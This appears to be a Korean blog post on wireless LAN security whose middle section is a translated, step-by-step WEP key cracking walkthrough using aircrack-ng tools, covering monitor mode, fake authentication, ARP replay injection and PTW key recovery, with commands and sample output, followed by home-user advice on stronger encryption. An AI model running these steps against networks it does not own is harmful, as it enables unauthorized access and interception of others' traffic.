기타IT관련정보/기타

무선랜 보안문제의 심각성에 대해..(WEP,WPA)

박디 2009. 2. 16. 22:58
인터넷 혹은 컴퓨터 몇대간의 근거리 통신망은 갈수록 우리생활에서 떼놓기 어려운 존재가

되가고 있습니다. 2000년 초반부터 급격히 유선 인터넷망이 성장해오면서 KT에서 내놓은 무선

인터넷 서비스인 네스팟이 출현했었는데요. 우리나라의 경우 다른 큰 국가들에 비해 토지면적이 작기

때문에 유선망이 워낙에 잘되있어서 네스팟이 빛을 발휘하지 못하고 있습니다. (대학교를 중심으로

많이 설치됐었는데 이또한 제가 보기엔 찬밥신세를 면하지 못하는듯 싶네요.) 지금의 경우

서울,수도권지역은 와이브로서비스로 원활한 인터넷 서비스를 즐길수는 있지만 문제는 금액이죠.

집에서 하루종일 켜놓고 인터넷 쓰는것 처럼 와이브로 서비스를 사용한다면 집안 거덜낼수

있습니다. 사설이 좀 길어졌는데 이렇게 무선인터넷망도 조금씩 발전해오면서 몇년전부터

가정에서 무선인터넷 서비스를 이용하는 경우가 많아지고 있습니다. 그리고 집에 컴퓨터가

두대 이상인 가정이 생겨나면서 자연스레 유무선공유기도 많이 사용되고 있는데요.

그래서 무선인터넷이 왜 아직은 보안상의 문제가 있는지 써보려 합니다.

현재 무선통신시 많이 사용되는 암호화 프로토콜로는 WEP(Wired Equivalent Privacy)와 WPA

(Wifi Protected Access)등이 있습니다. 이 두 프로토콜의 개념등은 저도 네트워크 분야로는

자세히 모를뿐더러 이글의 주제와는 별상관이 없으니 그냥 '이런게 있구나' 라고만

알아두시면 됩니다. 이글에서는 WEP 프로토콜의 위험성에 대해 쓰겠습니다.

구글등에서 WEP해킹 또는 WPA해킹등으로 검색해보면 수많은 해킹관련 자료와 문서들을

볼수있습니다. 여기서 말하는 WEP해킹이나 WPA해킹으로 여러가지 피해가 발생할수 있겠지만

가장 간단한 피해로는 AP(Access Point)공유를 들수있겠습니다. 쉽게 내가 쓰고있는 무선인터넷

서비스를 누군가에게 공유하려는 생각이 없는데 누군가 같이 쓰고있다는것입니다. 이중에서

WEP해킹의 경우 명령어 몇줄만 쓰면 손쉽게 해킹이 가능합니다. 그래서 직접 시도해봤습니다.

캡쳐화면등은 일부러 전혀 남기지 않았고 인터넷에서 쉽게 찾아볼수 있는 자료를 붙혀넣기

했습니다. 원본출처 : http://skyfac.com (빨간글씨로 저의 의견등을 쓰겠습니다.)

(사용된 도구 : Eee PC 701(802.11b/g Atheros wireless lan),
Backtracks 3 Live CD(각종 네트워킹 관련툴이 포함된 Slackware 기반의 리눅스)

(수행하기전 자신의 무선네트워크 카드가 airsnort등의 프로그램을 지원하는지 확인해야합니다.
대부분 지원하는것으로 알고있는데 모델명만 약간 달라도 지원하지 않는경우가 더러 있다고하네요.)

사용자 삽입 이미지
Backtrack은 USB로 Live CD를 간단히 만들수가 있습니다.

실험에 앞서 일단 back track은 해킹툴 패키지가 아닙니다. 각종 네트워크툴을 모아놓은
보안관리툴이라고 보는것이 맞을듯 싶네요. 그리고 부디 악용하지 마시기 바랍니다.
사용시 생길수 있는 문제나 불이익등은 모두 개인에게 책임이 있습니다.
-----------------------------------------------------------------------------------------

AP의 WEB Key를 크래킹 하기 위해서는 수많은 양의 IVs(Initialization Vectors)를 모아야 한다. 평상시의 경우에는 이러한 IVs들이 빨리 생성되지 않는다. 만약 인내심이 많은 사람이라면 단지 네트워크의 트래픽을 저장하는 것 만으로도 WEB Key를 크래킹하기 위한 충분한 양의 IVs를 모을 수 있다. 하지만 이 글을 읽고 있는 대부분의 사람들은 이것을 참지 못할 것이기 때문에 Injectino이라고 부르는 기술을 사용할 것이다. Injection 기법은 AP에 보낸 패킷을 계속해서 빠르게 재전송하기 때문에 많은 수의 IVs를 짧은 시간내에 얻을 수 있다.



WEB Key를 크래킹 하기 위한 기본적은 단계는 다음과 같다.
  1. 무선랜을 모니터(monitor) 모드로 변경하기.
  2. aireplay-ng를 이용하여 AP에 가짜 인증(authentication) 하기.
  3. BSSID필터를 이용해 특정 AP 채널의 IVs 값들을 수집하기.
  4. aireply-ng의 ARP request replay 모드를 이용하여 패킷 주입하기.
  5. aircrack-ng를 이용하여 수집된 IVs 패킷 크래킹하기.


1단계 - 무선랜을 모니터(monitor) 모드로 변경하기

  먼저 랜카드를 '모니터' 모드로 변경하기 위해 이 단계를 실시한다. 모니터 모드란 공기 중에 흐르고 있는 모든 무선 패킷들을 랜카드가 수집(listen)할 수 있는 상태를 말한다. 보통의 경우에 랜카드는 모든 패킷기 아닌 자기 자신에게 오는 패킷만 받아들인다. 즉 모니터 모드는 패킷을 주입할 수 있도록 해 주는 단계이다.(참고: 아래의 과정은 Atheros 카드가 아닐 경우 다를 수 있다.)

먼저 ath0을 정지한다.

airmon-ng stop ath0


다음과 같이 나타난다.

Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)


athX 인터페이스가 없는지 재확인 하기 위해 "iwconfig" 명령어를 이용한다.

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.


만약 다른 종류의 athX가 남아 있다면 정지시키기 바란다.

이제, 랜카드를 채널 9에 모니터 모드로 변경시키기 위해 다음과 같이 입력한다.

airmon-ng start wifi0 9

Note : 이 명령에서는 우리가 사용하는 ath0대신 wifi0을 사용했는데 이는 madwife-ng 드라이버가 이미 사용중이기 때문이다.

다음과 같은 화면이 출력될 것이다.

Interface             Chipset             Driver
 wifi0           Atheros         madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
(monitor mode enabled)


 

이제 ath0이 모니터 모드로 변경되었다. iwconfig 명령을 통해 확인해 볼 수 있다.
  lo            no wireless extensions.
 wifi0     no wireless extensions.

eth0 no wireless extensions.

ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


2단계 - aireplay-ng를 이용하여 AP에 가짜 인증(authentication) 하기.

  이 단계에서는 생성된 IVs를 수집한다. 새로운 콘솔(console)을 열어서 다음과 같이 입력한다.

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0


 

  • -c는 무선 네트워크의 채널을 의미한다. 이는 사용자의 환경에 따라 적절히 변경되어야 한다.
  • --bssid는 공격하고자 하는 AP의 MAC 주소를 의미한다.
  • -w는 IVs들이 담길 파일 이름을 지정한다.
  • ath0은 인터페이스 이름이다.

  그런데 이 명령을 수행하기 전에 먼저 bssid를 알아내야 한다. bssid 즉 공격하고자 하는 AP의 MAC주소는 다음과 같은 명령을 통해 확인할 수 있다. 또한 이 명령은 Injectino이 제대로 작동하는지 테스트 하는 명령이기도 하다.

aireplay-ng -9 ath0


시스템에 다음과 같은 화면이 출력된다.

 16:29:41  ath0 channel: 9
 16:29:41  Trying broadcast probe requests...
 16:29:41  Injection is working!
 16:29:42  Found 5 APs
 
 16:29:42  Trying directed probe requests...
 16:29:42  00:09:5B:5C:CD:2A - channel: 11 - 'NETGEAR'
 16:29:48  0/30: 0%
 16:29:48  00:14:BF:A8:65:AC - channel: 9 - 'title'
 16:29:54  0/30: 0%
 16:29:54  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 16:29:55  Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
 16:29:55  27/30: 90%
 16:29:55  00:C0:49:E2:C4:39 - channel: 11 - 'mossy'
 16:30:01  0/30: 0%
 16:30:01  00:0F:66:C3:14:4E - channel: 9 - 'tupper'
 16:30:07  0/30: 0%


위의 화면에서 볼 수 있듯이 BSSID 들이 AP별로 출력되고 있다.

다시 2단계의 명령으로 돌아가 보자. Injection이 발생하면 다음과 같은 화면을 볼 수 있다.

CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25
                                                                                                             
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                           
 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                          
                                                                                                           
 BSSID              STATION            PWR  Lost  Packets  Probes                                            
                                                                                                           
 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782



3단계 - BSSID필터를 이용해 특정 AP 채널의 IVs 값들을 수집하기.

AP가 패킷을 받아들이기 위해서는 반드시 대상 MAC 주소와 연결이 이루어져야 한다. 만약 대상 MAC주소와 연결이 이루어져있지 않은 상태에서 패킷을 보낸다면 AP는 패킷을 무시하고 대신 DeAuthentication 패킷을 반출한다. 이런 경우에는 AP가 주입된(Injected) 모든 패킷을 무시하므로 새로운 IVs가 발생되지 않는다.

  Injectino이 실패하는 가장 큰 이유 중 하나가 바로 AP와의 연결(Association)이 이루어지지 않았기 때문이다. 따라서 반드시 다음을 사항을 잊지마라 : Injection을 하고자 하는 AP의 주소는 가짜 인증(fake authentication)이나 벌써 연결된 클라이언트를 이용하여 반드시 연결되어야 한다.

AP와 연결하기 위해 다음과 같은 가짜 인증 명령을 내보낸다.

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0


 

  • -1은 fake authentication을 의미한다.
  • 0은 초당 재연결 시간을 의미한다.
  • -e teddy는 무선 네트워크 이름을 의미한다.
  • -a 00:14:6C:7E:40:80은 AP의 MAC 주소를 의미한다.
  • -h 00:0F:B5:88:AC:82는 자신의 랜카드 MAC 주소를 의미한다.
  • ath0은 무선 네트워크 interface 이름이다.


가짜 인증이 성공하면 다음과 같이 출력된다.

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)



4단계 - aireply-ng의 ARP request replay 모드를 이용하여 패킷 주입하기.

  이 단계는 aireplay-ng를 이용하여 ARP request를 네트워크에 재주입시키는 과정이다. ARP request를 재주입하는 이유는 AP는 보통 ARP request를 받으면 새로운 IV를 생성하여 반출하기 때문이다. 이를 통해 우리는 짧은 시간내에 많은 양의 IVs를 수집할 수 있게 된다.

새로운 콘솔을 실행한 후 다음 명령을 입력한다.

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0


ARP request가 주입되기 시작하면 다음과 같은 화면이 출력된다.

 Saving ARP requests in replay_arp-0321-191525.cap
 You should also start airodump-ng to capture replies.
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets...


처음에는 Read의 packets 수만 올라가고 ARP requests를 받는 데 시간이 좀 걸릴 수 있다. 일정시간이 지나고 나면 위의 내용처럼 숫자들이 올라가기 시작한다.

airodump-ng가 실행되고 있는 콘솔을 보면 Injecting이 잘 이루어지고 있는지 확인할 수 있다. 데이터 패킷의 수가 급격하게 증가하고 있을 것이다.


5단계 - aircrack-ng를 이용하여 수집된 IVs 패킷 크래킹하기.

이제 남은 것은 수집된 IVs 정보를 이용해 WEP 키를 추출하는 것이다. 새로운 콘솔을 실행한 뒤 아래와 같이 입력해보자.

aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap
  • -z는 PTW WEP-cracking 방법을 이용한다는 뜻이다.
  • -b 00:14:6C:7E:40:80는 공격의 대상이 되는 AP의 MAC 주소이다.
  • output*.cap는 output으로 시작하면서 확장자가 cap인 모든 파일을 의미한다.


지금까지의 모든 과정이 순조롭게 이루어졌다면 WEP 키는 금방 찾아낼 수 있다. 이를 위해서는 대략 64비트일 때는 250,000개의 IVs, 128비트일 때는 1,500,000개의 IVs가 필요하다. PTW 공격방법을 사용한다면 20,000 패킷(64비트)에서 40,000~85000 패킷(128비트)이 필요하다. 이는 매우 대략적이기 때문에 상황에 따라 필요한 패킷이나 IVs는 달라질 수 있다.

WEP 키를 얻는 데 성공했다면 다음과 같은 화면이 나타날 것이다.

(신호가 약할경우 IVs를 모으는데 시간이 많이 걸릴뿐더러 제대로 모이지가 않습니다.
제 경우에는 첫시도 장소에서 신호가 약해 다른 강한신호가 잡히는곳에서 시도해서 성공했습니다.)

Aircrack-ng 0.9
 
 
                              [00:03:06] Tested 674449 keys (got 96610 IVs)
 
 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(
  0)
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15)
 
                       KEY FOUND! [ 12:34:56:78:90 ]
      Probability: 100%


참고사항

  • 위의 문서는 아래 참고 문서의 일부분을 번역하여 옮긴 것이며 필자가 직접 작성한 부분도 있습니다.
  • 위의 문서는 WEP와 관련하여 무선 네트워크에 대한 보안 위협을 인식하기 위함이지 다른 네트워크를 침투하여 타인에게 피해를 입히기 위함이 아닙니다.
  • 위의 문서 내용으로 인해 발생한 모든 사고 및 손해 등에 대해서 필자는 절대 책임지지 않습니다.


* Reference

  1. http://www.aircrack-ng.org/doku.php?id=simple_wep_crack
  2. http://www.aircrack-ng.org/doku.php?id=injection_test

------------------------------------------------------------------------------------

위와같이 간단한 명령어 몇줄만으로 WEP키를 알아내서 암호화 되있는 어떤 AP를 공유해서

인터넷을 쓰는것이 가능해집니다. WPA해킹의 경우 시도해보지는 않았으나 WPA또한 이런

BackTrack등을 사용해서 해킹하는 방법을 손쉽게 찾아볼수 있기때문에 완전한 해결책이

될수는 없습니다. 게다가 암호화 방식은 하드웨어적으로 지원을 하는것인데 비교적 구형

무선랜카드를 사용한다면 WEP방식의 암호화를 사용합니다. 요새는 WPA2방식까지

암호화 방법을 선택할수 있는 기기들이 많이 출시되고 있습니다.

사용자 삽입 이미지

문제는 이러한 기기들이 아무곳에서나 편리하게 사용될수 있다는것인데 개인적으로 가정에서

사용하는것에는 큰 피해를 체감할수 없겠지만 기업체나 공공기관에서는 수많은 개인정보나

기업정보가 유출될수 있습니다. 위에서 들었던 예는 단순히 AP만을 공유해서 무선인터넷을

공짜로 쓰는데에만 촛점이 맞춰져있지만 더 큰 피해도 생길수가 있습니다. 예를 들면 주민등록

번호나 웹사이트 ID,비밀번호등이 유출될수 있겠죠. 어쨋든 개인적인 문제로 촛점을 맞추면 누구던지

허락하지 않았는데 누군가 내것을 막쓰고 있다면 불쾌할겁니다. 지금 무선인터넷 서비스를

쓰고 계신분들은 이런점들이 있구나하는것을 염두해 두시고 WEP방식을 쓰시는분들은 반드시

WEP키를 자주 변경하신다던지 하셔야겠고 WPA방식을 쓰시는분들도 자주 키를 변경하시는것이

좋을듯 싶습니다. 그리고 가급적이면 인터넷 뱅킹 서비스를 무선으로 사용하지 마시길 바랍니다.

제 경우엔 무선으로 이러한 서비스를 이용하진 않지만 유선으로 사용하는 인터넷뱅킹 계좌도

소액만 예금되있고 소액결제에만 사용하고 있습니다. 어쨋든.. 이런 위험한 요소들이 무선인터넷

사용시 항시 따라다니고 있으니 사용하시는분들은 한번씩 자신이 쓰고있는 무선랜 보안환경에

약간 신경을 써보는것이 좋을듯 싶습니다.